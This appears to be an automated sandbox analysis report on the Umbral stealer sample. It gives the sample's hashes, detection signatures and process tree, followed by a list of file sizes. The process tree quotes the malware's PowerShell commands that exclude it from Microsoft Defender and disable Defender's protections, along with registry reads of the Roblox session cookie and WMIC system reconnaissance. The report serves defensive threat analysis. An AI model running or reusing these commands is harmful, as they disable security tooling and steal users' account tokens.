Analysis
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max time kernel
66s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
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submitted
05-01-2024 12:50
General
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Target
Umbral.exe
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Size
229KB
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MD5
f7aea1fe85b23a400c7415f2b52720fc
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SHA1
fa483aa9e04b67c9cd0a2210e2f2e7f332aa5f93
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SHA256
1e9eb60c3b4040412e7713b686e520a24c0aec6119018ef942fe314e571f55d8
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SHA512
fd45fc156c8b74ed718b2c40c9b06ba4c20e5e9ca32e0a4eb033587791320f6c469f88f9e76cc4f9beb38782db9ec8d41ff4030a5dc0f7bf05cbcffd4ff36629
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SSDEEP
6144:lloZMHrIkd8g+EtXHkv/iD4ZlCMVjgULJyD1Ac5tqb8e1m5i:noZIL+EP8ZlCMVjgULJyD1Ac5sL
Malware Config
Signatures
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Detect Umbral payload 1 IoCs
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Umbral
Umbral stealer is an opensource moduler stealer written in C#.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Suspicious use of AdjustPrivilegeToken 1 IoCs
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Suspicious use of WriteProcessMemory 3 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\Umbral.exe"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
512KB
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Filesize
9.6MB
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Filesize
412KB
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Filesize
9.6MB
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Filesize
12KB
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Filesize
512KB
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Filesize
9.6MB
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Filesize
512KB
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Filesize
9.6MB
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Filesize
512KB
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Filesize
9.6MB
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Filesize
512KB
-
Filesize
512KB
-
Filesize
9.6MB
-
Filesize
512KB
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Filesize
512KB
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Filesize
9.6MB
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Filesize
2.9MB
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Filesize
9.6MB
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Filesize
512KB
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Filesize
512KB
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Filesize
9.6MB
-
Filesize
512KB
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Filesize
32KB
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Filesize
512KB
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Filesize
9.6MB
-
Filesize
512KB
-
Filesize
512KB
-
Filesize
512KB
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Filesize
2.9MB
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Filesize
9.6MB
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Filesize
9.6MB
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Filesize
256KB
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Filesize
512KB
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Filesize
9.9MB
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Filesize
9.9MB
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Filesize
512KB
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Filesize
9.9MB
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Filesize
2.9MB
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Filesize
32KB
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Filesize
9.6MB
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Filesize
512KB
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Filesize
512KB
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Filesize
9.6MB
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Filesize
9.6MB
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Filesize
512KB